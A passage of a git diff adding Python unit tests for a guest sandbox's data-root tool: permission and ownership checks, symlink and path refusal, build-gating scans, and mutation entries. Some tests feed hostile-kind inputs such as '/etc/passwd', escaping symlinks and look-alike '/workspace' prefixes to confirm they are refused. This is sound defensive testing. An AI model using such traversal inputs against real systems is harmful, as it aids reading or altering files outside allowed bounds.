uids can walk down to (the temporary directory may be under a home they cannot enter) + self.dir = Path(tempfile.mkdtemp(prefix="guest-ids-", dir="/tmp")) + self.addCleanup(shutil.rmtree, self.dir, ignore_errors=True) + os.chmod(self.dir, 0o755) + self.assertEqual(self.run_env(shared, "/workspace/plan/conv-0001/5", "--", shared, "/workspace/plan/conv-0002/3", DATAROOTS_REAL_IDS="1"), "0") + st = (self.dir / "plan/conv-0001/5").stat() + self.assertEqual((st.st_uid, st.st_gid), (41001, 41001)) + self.assertEqual(((self.dir / "plan/conv-0001").stat().st_uid, (self.dir / "plan").stat().st_uid), (0, 0)) + (self.dir / "plan/conv-0001/5/secret").write_text("mine") + def as_tool(uid, action): + pid = os.fork() + if pid == 0: + code = 99 + try: + os.setgroups([shared]) # the workspace group (a real one, not root's 0), as every tool process of the workspace may have + os.setresgid(uid, uid, uid) + os.setresuid(uid, uid, uid) + action() + code = 0 + except PermissionError: + code = 13 + except BaseException: + code = 98 + finally: + os._exit(code) + return os.waitpid(pid, 0)[1] >> 8 + view = str(self.dir / "plan/conv-0001/5") + self.assertEqual(as_tool(41002, lambda: os.listdir(view)), 13) + self.assertEqual(as_tool(41002, lambda: open(view + "/secret").read()), 13) + self.assertEqual(as_tool(41002, lambda: open(view + "/new", "w")), 13) + self.assertEqual(as_tool(41001, lambda: open(view + "/new", "w").write("x")), 0) # the owner's own tool uid can + folder = str(self.dir / "plan/conv-0001") + self.assertEqual(as_tool(41001, lambda: os.mkdir(folder + "/9")), 13) # the past-epoch record is not the tool uid's to edit + self.assertEqual(as_tool(41002, lambda: os.mkdir(folder + "/9")), 13) + self.assertEqual(as_tool(41001, lambda: os.rmdir(folder + "/5")), 13) # nor an epoch to remove + + def test_an_existing_plan_directory_with_loose_bits_is_reset_and_a_loose_parent_too(self): + (self.dir / "plan/conv-0001/5").mkdir(parents=True, mode=0o755) + for relative, mode in (("plan", 0o777), ("plan/conv-0001", 0o777), ("plan/conv-0001/5", 0o755)): + os.chmod(self.dir / relative, mode) + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/5"), "0") + self.assertEqual((self.mode_of("plan"), self.mode_of("plan/conv-0001"), self.mode_of("plan/conv-0001/5")), (0o711, 0o711, 0o700)) + + def test_an_existing_epoch_directory_of_another_owner_is_refused_before_anything_is_changed_on_it(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/5"), "0") + os.chmod(self.dir / "plan/conv-0001/5", 0o755) + log = self.chown_requests() + # root's is another id and the tool uid is stored as yet another: the directory (this user's) is neither + foreign = self.foreign_id() + out = self.run_env(self.gid, "/workspace/plan/conv-0001/5", DATAROOTS_LOG=log, DATAROOTS_PARENT_OWNER=foreign, DATAROOTS_STORED_UID=foreign + 5000) + self.assertEqual(out, "-1") + self.assertNotIn("41001", log.read_text()) # no chown was even asked for + self.assertEqual(self.mode_of("plan/conv-0001/5"), 0o755) # and no chmod + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/5"), "0") # the same directory is fine for its own owner + + def test_the_result_of_making_an_epoch_directory_is_checked_not_the_return_values(self): + log = self.chown_requests() + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/5", DATAROOTS_STORED_UID=self.foreign_id() + 5000, DATAROOTS_LOG=log), "-1") # the owner is not the one asked for + self.assertIn("41001:41001", log.read_text()) # (a directory PID 1 made itself is let through to the chown; it is the result that fails) + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/6", DATAROOTS_STORED_GID=os.getgid() + 5000), "-1") # nor is the group + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/7"), "0") + + def test_the_bits_of_a_plan_directory_are_read_back_from_the_descriptor_not_taken_from_fchmod(self): + """A chmod that reports success and leaves other bits (a file system that filters it): the plan directory is refused, as a data root's mode is by make_one.""" + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/5", DATAROOTS_FCHMOD_LIE="1"), "-1") + self.assertFalse((self.dir / "plan/conv-0001/5").exists() and self.mode_of("plan/conv-0001/5") == 0o700) + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/5"), "0") + self.assertEqual(self.mode_of("plan/conv-0001/5"), 0o700) + + def test_the_special_bits_of_a_plan_directory_are_read_back_too(self): + """A chmod that adds the sticky bit: a read-back that masks it away (0777) would call 0711 or 0700 right.""" + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/5", DATAROOTS_FCHMOD_LIE="special"), "-1") + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/5"), "0") + self.assertEqual(self.mode_of("plan/conv-0001/5"), 0o700) + + def test_the_mode_of_a_data_root_is_read_back_from_the_descriptor_not_taken_from_fchmod(self): + """A chmod aimed at the root's own 02770 that leaves 0750-ish bits and reports success (the reviewer's lying fchmod), and one that adds the sticky bit: both are refused, and the + repair on the next honest run restores 02770.""" + for lie in ("leaf", "special", "bits"): + with self.subTest(lie): + self.assertEqual(self.run_env(self.gid, "/workspace/repos/r-" + lie, DATAROOTS_FCHMOD_LIE=lie), "-1") + self.assertEqual(self.run_env(self.gid, "/workspace/repos/r-" + lie), "0") + self.assertEqual(self.mode_of("repos/r-" + lie), 0o2770) + + def test_a_name_that_is_not_a_canonical_epoch_never_makes_an_epoch_stale(self): + """Only a canonical decimal (at most nine digits, no sign, no leading zero, nothing after the digits) names an epoch; the scan skips every other entry.""" + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/5"), "0") + for name in ("0012", "12x", "-9", "99a99", "0999999", "1234567890", ".9"): + (self.dir / "plan/conv-0001" / name).mkdir() + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/6"), "0") + (self.dir / "plan/conv-0001/7").mkdir() + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/6"), "-1") # ... while a canonical one above still does + + def test_a_directory_read_that_fails_or_a_stale_errno_decides_the_epoch_scan_correctly(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/5"), "0") + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/6", DATAROOTS_READDIR_FAIL="1"), "-1") # a read error is not "no later epoch" + self.assertFalse((self.dir / "plan/conv-0001/6").exists()) + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/6", DATAROOTS_STALE_ERRNO="1"), "0") # the end of a directory is no error, whatever errno held before + + def test_a_plan_directory_above_the_epoch_that_is_not_roots_is_refused(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/5"), "0") + foreign = self.foreign_id() + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/6", DATAROOTS_PARENT_OWNER=foreign, DATAROOTS_OWNER=foreign), "-1") # /workspace/plan looks like somebody else's + self.assertFalse((self.dir / "plan/conv-0001/6").exists()) + + def test_a_plan_path_that_is_not_exactly_the_conversations_own_epoch_view_is_refused_and_nothing_is_made(self): + for source in ("/workspace/plan", "/workspace/plan/conv-0001", "/workspace/plan/conv-0002/1", "/workspace/plan/conv-0001/01", "/workspace/plan/conv-0001/1234567890", + "/workspace/plan/conv-0001/x", "/workspace/plan/conv-0001/1/deeper", "/workspace/plan/conv-00011/1", "/workspace/plan/conv-000112"): + with self.subTest(source): + self.assertEqual(self.run_tool(self.gid, source), "-1") + self.assertFalse((self.dir / "plan").exists()) + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/123456789"), "0") # nine digits is fine + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/0"), "-1") # ... but 0 is below 123456789 now + self.assertEqual(self.run_tool(self.gid, "/workspace/planning/x"), "0") # a sibling name that merely starts the same way is an ordinary root + + def test_an_earlier_epoch_is_never_made_again_and_is_left_untouched(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/5"), "0") + (self.dir / "plan/conv-0001/5/note").write_text("kept") + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/6"), "0") + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/4"), "-1") # below 6: stale + self.assertFalse((self.dir / "plan/conv-0001/4").exists()) + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/6"), "0") # the same epoch again is fine + self.assertEqual((self.dir / "plan/conv-0001/5/note").read_text(), "kept") # the earlier epoch is not re-created or emptied + self.assertEqual(self.mode_of("plan/conv-0001/5"), 0o700) + + def test_without_a_browse_uid_only_the_plan_view_is_made(self): + env = dict(os.environ, DATAROOTS_PLAN_ONLY="1") + def run(*sources): + return subprocess.run([str(self.tool), "dataroots", str(self.dir), str(self.gid), *sources], capture_output=True, text=True, env=env, timeout=60).stdout.strip() + self.assertEqual(run("/workspace/repos/r1", "/workspace/plan/conv-0001/2"), "0") + self.assertTrue((self.dir / "plan/conv-0001/2").is_dir()) + self.assertFalse((self.dir / "repos/r1").exists()) # an ordinary data root is not made without a browse uid + self.assertEqual(run("/workspace/plan/conv-0001/1"), "-1") # the staleness rule holds on this path too + self.assertEqual(run("/workspace/plan/conv-0002/1"), "-1") # and the own-conversation rule + + def test_a_plan_parent_that_is_a_symlink_or_not_a_directory_is_refused(self): + outside = Path(tempfile.mkdtemp(prefix="guest-outside-")) + self.addCleanup(shutil.rmtree, outside, ignore_errors=True) + (self.dir / "plan").symlink_to(outside) + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/1"), "-1") + self.assertEqual(list(outside.iterdir()), []) + (self.dir / "plan").unlink() + (self.dir / "plan").mkdir(mode=0o711) + (self.dir / "plan/conv-0001").symlink_to(outside) + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/1"), "-1") + self.assertEqual(list(outside.iterdir()), []) + (self.dir / "plan/conv-0001").unlink() + (self.dir / "plan/conv-0001").write_text("a file where the parent belongs") + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/1"), "-1") + + def test_a_symlink_anywhere_on_the_path_is_refused_and_nothing_is_followed(self): + outside = Path(tempfile.mkdtemp(prefix="guest-outside-")) + self.addCleanup(shutil.rmtree, outside, ignore_errors=True) + os.chmod(outside, 0o755) + (self.dir / "repos/link").symlink_to(outside) + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/link"), "-1") # the root itself + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/link/inner"), "-1") # a parent + self.assertEqual(stat.S_IMODE(outside.stat().st_mode), 0o755) + self.assertEqual(list(outside.iterdir()), []) + + def test_a_path_with_an_empty_or_overlong_component_is_refused(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/repos//x"), "-1") + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/" + "a" * 65), "-1") + self.assertFalse((self.dir / "repos/a").exists()) + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/" + "a" * 64), "0") + + def test_a_file_where_a_directory_belongs_is_refused(self): + (self.dir / "repos/file").write_text("x") + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/file"), "-1") + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/file/inner"), "-1") + + def test_a_parent_owned_by_someone_else_is_refused(self): + env = dict(os.environ, DATAROOTS_PARENT_OWNER=str(os.getuid() + 1)) + result = subprocess.run([str(self.tool), "dataroots", str(self.dir), str(self.gid), "/workspace/repos/r1"], capture_output=True, text=True, env=env, timeout=60) + self.assertEqual(result.stdout.strip(), "-1") # `repos` is ours, and the tool was told root is someone else + self.assertEqual(self.mode_of("repos"), 0o711) + result = subprocess.run([str(self.tool), "dataroots", str(self.dir), str(self.gid), "/workspace/repos/r1"], capture_output=True, text=True, timeout=60) + self.assertEqual(result.stdout.strip(), "0") + + def test_a_path_that_is_not_below_workspace_or_is_malformed_is_refused(self): + for source in ("/etc/passwd", "/workspace", "workspace/repos/a"): + self.assertEqual(self.run_tool(self.gid, source), "-1", source) + + def test_two_conversations_are_both_served_and_one_root_may_be_named_twice(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/r1", "--", self.gid, "/workspace/repos/r1"), "0") + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/r3", "--", self.gid, "/workspace/repos/r4"), "0") + self.assertEqual((self.mode_of("repos/r3"), self.mode_of("repos/r4")), (0o2770, 0o2770)) + + def test_a_workspace_that_is_a_symlink_is_not_followed(self): + link = self.dir.with_name(self.dir.name + "-link") + link.symlink_to(self.dir) + self.addCleanup(link.unlink) + result = subprocess.run([str(self.tool), "dataroots", str(link), str(self.gid), "/workspace/repos/r1"], capture_output=True, text=True, timeout=60) + self.assertEqual(result.stdout.strip(), "-1") + self.assertFalse((self.dir / "repos/r1").exists()) + + def run_with(self, env, *args): + result = subprocess.run([str(self.tool), "dataroots", str(self.dir), *map(str, args)], capture_output=True, text=True, env=dict(os.environ, **env), timeout=60) + self.assertEqual(result.returncode, 0, result.stderr) + return result.stdout.strip() + + def test_the_result_is_checked_on_the_descriptor_not_taken_from_the_calls(self): + """A chown that reports success and changes nothing: the owner and the group the directory really has are what count.""" + env = {"DATAROOTS_NOOP_CHOWN": "1"} + self.assertEqual(self.run_with(env, self.gid, "/workspace/repos/own"), "0") # it is already ours, in our group + self.assertEqual(self.run_with(env, self.gid + 1, "/workspace/repos/other-group"), "-1") # the group never changed + self.assertEqual(self.run_with(dict(env, DATAROOTS_OWNER=str(os.getuid() + 1)), self.gid, "/workspace/repos/other-owner"), "-1") # the owner never changed + + def test_a_path_that_only_starts_like_workspace_is_refused_and_nothing_is_created(self): + self.assertEqual(self.run_tool(self.gid, "/workspaceX/repos/a"), "-1") + self.assertEqual(self.run_tool(self.gid, "/workspace-x/repos/a"), "-1") + self.assertFalse((self.dir / "repos/a").exists()) + + def test_a_missing_workspace_is_refused(self): + shutil.rmtree(self.dir) + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/r1"), "-1") + self.dir.mkdir() + + +class ProductionHasNoFileChannelTests(unittest.TestCase): + """Everything above is for an image that declares `file-channel-v1`. The production programs are built without WG_FILE_CHANNEL_V1, so none of it may exist in them: + every use of a file-channel name in a production source sits inside `#ifdef WG_FILE_CHANNEL_V1`, and the production build lists none of the extra sources.""" + # names that exist only for the file channel (the codec's stream enum is shared and harmless, so it is not listed) + NAMES = ("fileChannel", "file-channel-fds", "file-channel-v1", "protected_hardlinks", "wg_make_data_roots", "wg_add_file_channel", "WG_START_FILE_CHANNEL", "prepare_data_roots", + "browse_uid", "workspace_gid", "root_source", "fileflow", "wg_fileflow", "dataroots", "--file-in", "--file-out", "file_in_fd", "file_out_fd", "make_file_pipe", + "fifo_end_ok", "conv_file_channel", "read_data_device", "WG_PAYLOAD_EXTENDED", "finish_file_out", "close_file_in", "pump_file_out") + SOURCES = ("init/init_linux.c", "init/boot.c", "init/boot.h", "init/trusted_config.c", "init/trusted_config.h", "common/wmx.c", "common/wmx.h", "relay/relay.c") + + @staticmethod + def strip_comments(text): + text = re.sub(r"/\*.*?\*/", lambda m: "\n" * m.group(0).count("\n"), text, flags=re.S) + return re.sub(r"//[^\n]*", "", text) + + def ungated_lines(self, relative): + """The source lines outside every `#ifdef WG_FILE_CHANNEL_V1` (the #else branch of one counts as outside).""" + stack = [] # one entry per open conditional: True while inside a WG_FILE_CHANNEL_V1 branch + out = [] + for number, line in enumerate(self.strip_comments((ROOT / relative).read_text()).splitlines(), 1): + stripped = line.strip() + if re.match(r"#\s*ifdef\s+WG_FILE_CHANNEL_V1\b", stripped): + stack.append(True) + elif re.match(r"#\s*(if|ifdef|ifndef)\b", stripped): + stack.append(False) + elif re.match(r"#\s*else\b", stripped) and stack: + stack[-1] = False if stack[-1] else stack[-1] + elif re.match(r"#\s*endif\b", stripped) and stack: + stack.pop() + elif not any(stack): + out.append((number, line)) + return out + + def test_every_file_channel_name_in_a_production_source_is_inside_the_gate(self): + for relative in self.SOURCES: + for number, line in self.ungated_lines(relative): + for name in self.NAMES: + self.assertNotIn(name, line, f"{relative}:{number} names {name} outside WG_FILE_CHANNEL_V1") + + def test_the_scanner_sees_a_name_outside_the_gate(self): + probe = ROOT / "init/__probe_scan.c" + probe.write_text("int a;\n#ifdef WG_FILE_CHANNEL_V1\nint fileChannel;\n#else\nint wg_make_data_roots;\n#endif\n#ifdef X\nint protected_hardlinks;\n#endif\n") + try: + found = [line.strip() for _, line in self.ungated_lines("init/__probe_scan.c")] + finally: + probe.unlink() + self.assertEqual(found, ["int a;", "int wg_make_data_roots;", "int protected_hardlinks;"]) + + def test_the_production_build_lists_none_of_the_extra_sources_or_flags(self): + build_py = (ROOT / "build.py").read_text() + programs = re.search(r"PROGRAMS = \{(.*?)\n\}", build_py, re.S).group(1) + for name in ("dataroots", "fileflow", "WG_FILE_CHANNEL_V1"): + self.assertNotIn(name, programs) + self.assertNotIn("WG_FILE_CHANNEL_V1", re.search(r"COMMON_FLAGS = \[(.*?)\]", build_py).group(1)) + headers = re.search(r"\nHEADERS = \[(.*?)\]", build_py, re.S).group(1) + self.assertNotIn("fileflow", headers) + self.assertNotIn("dataroots", headers) + self.assertIn('default="production"', build_py) + self.assertIn("--update-pins is for the production profile only", build_py) + + +if __name__ == "__main__": + unittest.main() diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_guided_config.py b/apple/Cowork/WinterCoworkGuest/tests/test_guided_config.py index e363aa51e..e60125251 100644 --- a/apple/Cowork/WinterCoworkGuest/tests/test_guided_config.py +++ b/apple/Cowork/WinterCoworkGuest/tests/test_guided_config.py @@ -98,7 +98,11 @@ def test_absent_and_empty_are_told_apart_the_way_the_supervisor_tells_them_apart def test_the_helpers_per_conversation_members_are_exactly_the_keys_the_supervisor_accepts(self): vectors = json.loads((ROOT / "vectors/mux-frames.json").read_text())["positive"] - guided_message = gb.parse_bootstrap_message(next(bytes.fromhex(v["hex"])[16:] for v in vectors if v["name"] == "bootstrap-down-conversations-guided"), "down") + gb.set_revision_three(True) # the vectors are revision 3; the per-conversation members the helper writes for the supervisor are the same in both revisions + try: + guided_message = gb.parse_bootstrap_message(next(bytes.fromhex(v["hex"])[16:] for v in vectors if v["name"] == "bootstrap-down-conversations-guided"), "down") + finally: + gb.set_revision_three(False) guided_keys = sorted(gb.supervisor_items(guided_message)[0]["hostQueryGuidedRuntime"]) plain = json.loads(json.dumps(guided_message)) plain["profile"] = "host-query-v1" @@ -131,7 +135,11 @@ def test_a_whole_guided_config_is_what_the_supervisor_reads(self): """The helper's items and the image's object through the real config builder: the guided key holds the object unchanged, and every conversation member carries the guidance directory; the same pieces for host-query carry neither the reader nor the member.""" vectors = json.loads((ROOT / "vectors/mux-frames.json").read_text())["positive"] - message = gb.parse_bootstrap_message(next(bytes.fromhex(v["hex"])[16:] for v in vectors if v["name"] == "bootstrap-down-conversations-guided"), "down") + gb.set_revision_three(True) # the vectors are revision 3 + try: + message = gb.parse_bootstrap_message(next(bytes.fromhex(v["hex"])[16:] for v in vectors if v["name"] == "bootstrap-down-conversations-guided"), "down") + finally: + gb.set_revision_three(False) items = gb.canonical_text(gb.supervisor_items(message)) base = json.dumps({"artifacts": {"launcher": {"path": "/opt/winter/helpers/linux-tool-compartment", "sha256": "1" * 64}}, "controlDirectory": "/run/winter/control"}, separators=(",", ":"), sort_keys=True) for key, block in (("hostQueryGuidedRuntime", rb.guided_block()),): diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_init_modules.py b/apple/Cowork/WinterCoworkGuest/tests/test_init_modules.py index 86a4bfb9e..0f2095c9b 100644 --- a/apple/Cowork/WinterCoworkGuest/tests/test_init_modules.py +++ b/apple/Cowork/WinterCoworkGuest/tests/test_init_modules.py @@ -649,7 +649,12 @@ def test_the_message_the_helper_builds_is_read_the_same_way_by_pid_1(self): """The helper's `conversations_payload` (Python) against `wg_parse_conversation_payload` (C), on the contract's own vectors.""" vectors = json.loads((ROOT / "vectors/mux-frames.json").read_text())["positive"] for name in ("bootstrap-down-conversations-guided", "bootstrap-down-conversations-tools-only"): - message = gb.parse_bootstrap_message(next(bytes.fromhex(v["hex"])[16:] for v in vectors if v["name"] == name), "down") + # The vectors are revision 3; PID 1 here is the production build (no file channel), so it reads the plain payload the revision-2 helper sends for the same set. + gb.set_revision_three(True) + try: + message = gb.parse_bootstrap_message(next(bytes.fromhex(v["hex"])[16:] for v in vectors if v["name"] == name), "down") + finally: + gb.set_revision_three(False) payload = gb.conversations_payload(message) fields = self.run_tool("convparse", payload.hex()).split("|") profile = {None: 0, "host-query-v1": 1, "host-query-guided-v1": 2}[message["profile"]] diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_mutants.py b/apple/Cowork/WinterCoworkGuest/tests/test_mutants.py index 4e8bbda11..607638ac2 100644 --- a/apple/Cowork/WinterCoworkGuest/tests/test_mutants.py +++ b/apple/Cowork/WinterCoworkGuest/tests/test_mutants.py @@ -4,7 +4,8 @@ The Linux-only mutants (init_linux.c, exercised by test_pid1_linux.py) run only where that suite runs. Two guards are deliberately absent because they cannot change behaviour: `!S_ISDIR` on a descriptor opened with O_DIRECTORY, and `!S_ISREG` next to the size, mode and link-count checks (a replacement would need to be a non-regular file of the same size, mode and link count; the open of a FIFO there would block, which the -function's single caller never meets because it created the file itself a moment earlier). +function's single caller never meets because it created the file itself a moment earlier). Likewise the out-of-memory and descriptor-exhaustion +returns of the plan walk (`dup`, `fdopendir`, a failed `open_component` whose descriptor the next `fstat` would reject anyway) are not mutated. """ import os import shutil @@ -45,14 +46,14 @@ ("init/init_linux.c","set_nonblocking(G.rt_out_w) == 0 &&","1 &&","pid1"), ("init/init_linux.c","set_nonblocking(G.rt_err_w) == 0 ?","1 ?","pid1"), ("init/init_linux.c","if (with_ports && runtime_ends_nonblocking() != 0)","if (0)","pid1"), - ("init/init_linux.c"," release_runtime_ends();\n G.supervisor = pid;"," G.supervisor = pid;","pid1"), + ("init/init_linux.c"," release_runtime_ends();\n#ifdef WG_FILE_CHANNEL_V1","#ifdef WG_FILE_CHANNEL_V1","pid1"), ("init/init_linux.c"," close_fd(&G.rt_in_r);\n close_fd(&G.rt_out_w);"," close_fd(&G.rt_out_w);","pid1"), ("init/init_linux.c"," close_fd(&G.rt_out_w);\n close_fd(&G.rt_err_w);\n}"," close_fd(&G.rt_err_w);\n}","pid1"), ("init/init_linux.c"," close_fd(&G.rt_err_w);\n}","}","pid1"), ("init/init_linux.c"," umask(022); "," ","pid1"), ("init/init_linux.c"," signal(SIGPIPE, SIG_DFL); "," ","pid1"), ("init/init_linux.c"," sigprocmask(SIG_SETMASK, &none, NULL);","","pid1"), - ("init/init_linux.c"," setsid();\n int sources[4]"," int sources[4]","pid1"), + ("init/init_linux.c"," setsid();\n#ifdef WG_FILE_CHANNEL_V1","#ifdef WG_FILE_CHANNEL_V1","pid1"), ("init/init_linux.c"," close(config_fd);\n close(stdin_pipe[0]);\n close(stdout_pipe[1]);\n release"," close(stdin_pipe[0]);\n close(stdout_pipe[1]);\n release","pid1"), ("init/trusted_config.c","if (index == count || (seen & (1u << index))) return 0;","if (index == count) return 0;","config"), ("init/trusted_config.c","st.st_nlink != 1 ||","0 ||","config"), @@ -129,6 +130,243 @@ ("init/boot.c", r'static char runtime_buffer[WG_CONFIG_RUNTIME_MAX + 1];', r'static char runtime_buffer[4096u + 1];', "cboot"), ("bootstrap/guest_bootstrap.py", r' config["guidanceDirectory"] = GUIDANCE_DIRECTORY', r' pass', "bootstrap"), ("bootstrap/guest_bootstrap.py", r'GUIDANCE_DIRECTORY = "/run/winter/shared-instructions"', r'GUIDANCE_DIRECTORY = "/run/winter/shared"', "bootstrap"), + # ---- FC3: the guest side of the file channel (WG_FILE_CHANNEL_V1 images). The Linux-only suite (fcpid1) runs where test_pid1_linux.py does. + ('relay/relay.c', 'if (!file_active || file_in_ended) fatal_status(WMX_BAD_FIELD);', 'if (file_in_ended) fatal_status(WMX_BAD_FIELD);', 'fcrelay'), + ('relay/relay.c', 'if (!file_active || file_in_ended) fatal_status(WMX_BAD_FIELD);', 'if (!file_active) fatal_status(WMX_BAD_FIELD);', 'fcrelay'), + ('relay/relay.c', ' if (prefix.end) file_in_ended = 1;\n size_t request', ' size_t request', 'fcrelay'), + ('relay/relay.c', ' status = wg_fileflow_request(&file_flow, rx.payload + WMX_RUNTIME_PREFIX_BYTES, request);\n if (status != WMX_OK) fatal_status(status);\n', '', 'fcrelay'), + ('relay/relay.c', ' close_file_in(); /* FIRST,', ' (void)0; /* FIRST,', 'fcrelay'), + ('relay/relay.c', 'if (tag == CTL_HALTING) finish_file_out();', 'if (0) finish_file_out();', 'fcrelay'), + ('relay/relay.c', ' if (!file_active || !runtime_ready_framed) return;', ' if (!file_active) return;', 'fcrelay'), + ('relay/relay.c', ' if (!file_active || !runtime_ready_framed) return;', ' if (!runtime_ready_framed) return;', 'fcrelay'), + ('relay/relay.c', ' if (!file_out_end_sent && wg_ring_used(&out_ring) == before) break;', ' if (0) break;', 'fcrelay'), + ('relay/relay.c', ' if (!file_out_end_sent) {\n wmx_write_runtime_prefix(up_chunk, 0, WMX_STREAM_FILE_OUT, 1);', ' if (0) {\n wmx_write_runtime_prefix(up_chunk, 0, WMX_STREAM_FILE_OUT, 1);', 'fcrelay'), + ('relay/relay.c', ' if (status != WMX_OK) die(EXIT_STATE, 1, status);\n wmx_write_runtime_prefix(up_chunk, 0, WMX_STREAM_FILE_OUT, 0);', ' wmx_write_runtime_prefix(up_chunk, 0, WMX_STREAM_FILE_OUT, 0);', 'fcrelay'), + ('relay/relay.c', 'ctl_reader.payload[0] > 3 || runtime_open', 'ctl_reader.payload[0] > 4 || runtime_open', 'fcrelay'), + ('relay/relay.c', 'ctl_reader.payload[0] > 3 || runtime_open', 'ctl_reader.payload[0] > 2 || runtime_open', 'fcrelay'), + ('relay/relay.c', 'file_active = (ctl_reader.payload[0] & 2) != 0;', 'file_active = 1;', 'fcrelay'), + ('relay/relay.c', 'file_active = (ctl_reader.payload[0] & 2) != 0;', 'file_active = (ctl_reader.payload[0] & 1) != 0;', 'fcrelay'), + ('relay/relay.c', 'runtime_streams = ctl_reader.payload[0] & 1;', 'runtime_streams = ctl_reader.payload[0];', 'fcrelay'), + ('relay/relay.c', 'if (runtime_open && runtime_ready_framed && file_active && !file_out_end_sent && room)', 'if (runtime_open && file_active && !file_out_end_sent && room)', 'fcrelay'), + ('relay/relay.c', 'if (runtime_open && runtime_ready_framed && file_active && !file_out_end_sent && room)', 'if (runtime_open && runtime_ready_framed && !file_out_end_sent && room)', 'fcrelay'), + ('relay/relay.c', 'if (file_in_ended && file_in_fd >= 0 && !wg_ring_used(&file_in_ring)) close_file_in();', 'if (file_in_ended && file_in_fd >= 0) close_file_in();', 'fcrelay'), + ('relay/relay.c', ' file_out_end_sent = 1;\n }\n}\n\n/* Before', ' }\n}\n\n/* Before', 'fcrelay'), + ('relay/relay.c', ' check_descriptor(file_in_fd, 1, "file-in");\n', '', 'fcrelay'), + ('relay/relay.c', ' check_descriptor(file_out_fd, 1, "file-out");\n', '', 'fcrelay'), + ('relay/relay.c', ' , file_in_fd, file_out_fd\n#endif\n };\n for (int fd = 3;', '\n#endif\n };\n for (int fd = 3;', 'fcrelay'), + ('common/wmx.c', ' if (stream >= WMX_STREAM_FILE_IN && conversation != 0) return WMX_BAD_FIELD;', '', 'fcnative'), + ('common/wmx.c', 'const unsigned last_stream = WMX_STREAM_FILE_OUT;', 'const unsigned last_stream = WMX_STREAM_FILE_IN;', 'fcnative'), + ('common/wmx.c', 'if ((stream == WMX_STREAM_IN || stream == WMX_STREAM_FILE_IN) != (direction == WMX_DOWN))', 'if ((stream == WMX_STREAM_IN) != (direction == WMX_DOWN))', 'fcnative'), + ('common/fileflow.c', 'if (++flow->request_line > WG_FILE_REQUEST_BYTES) return WMX_OVERSIZE;', 'if (++flow->request_line >= WG_FILE_REQUEST_BYTES) return WMX_OVERSIZE;', 'fcnative'), + ('common/fileflow.c', 'if (++flow->outstanding > WG_FILE_IN_FLIGHT) return WMX_OVERSIZE;', 'if (++flow->outstanding >= WG_FILE_IN_FLIGHT) return WMX_OVERSIZE;', 'fcnative'), + ('common/fileflow.c', 'if (++flow->outstanding > WG_FILE_IN_FLIGHT) return WMX_OVERSIZE;\n flow->request_line = 0;', 'if (++flow->outstanding > WG_FILE_IN_FLIGHT) return WMX_OVERSIZE;', 'fcnative'), + ('common/fileflow.c', 'if (flow->outstanding == 0) return WMX_BAD_FIELD;', '', 'fcnative'), + ('common/fileflow.c', 'if (++flow->response_line > WG_FILE_RESPONSE_BYTES) return WMX_OVERSIZE;', 'if (++flow->response_line >= WG_FILE_RESPONSE_BYTES) return WMX_OVERSIZE;', 'fcnative'), + ('common/fileflow.c', ' flow->outstanding--;', '', 'fcnative'), + ('common/fileflow.c', ' flow->outstanding--;\n flow->response_line = 0;', ' flow->outstanding--;', 'fcnative'), + ('common/fileflow.h', '#define WG_FILE_IN_FLIGHT 4u', '#define WG_FILE_IN_FLIGHT 5u', 'fcnative'), + ('init/boot.c', 'if (out->browse_uid != 0 && (out->browse_uid < WG_UNIX_ID_MIN || out->browse_uid > WG_UNIX_ID_MAX)) return -1;', 'if (out->browse_uid != 0 && (out->browse_uid > WG_UNIX_ID_MAX)) return -1;', 'fcboot'), + ('init/boot.c', 'if (out->browse_uid != 0 && (out->browse_uid < WG_UNIX_ID_MIN || out->browse_uid > WG_UNIX_ID_MAX)) return -1;', 'if (out->browse_uid != 0 && (out->browse_uid < WG_UNIX_ID_MIN)) return -1;', 'fcboot'), + ('init/boot.c', 'gid < WG_UNIX_ID_MIN || gid > WG_UNIX_ID_MAX || roots < 1 || roots > WG_ROOTS_MAX', 'gid > WG_UNIX_ID_MAX || roots < 1 || roots > WG_ROOTS_MAX', 'fcboot'), + ('init/boot.c', 'gid < WG_UNIX_ID_MIN || gid > WG_UNIX_ID_MAX || 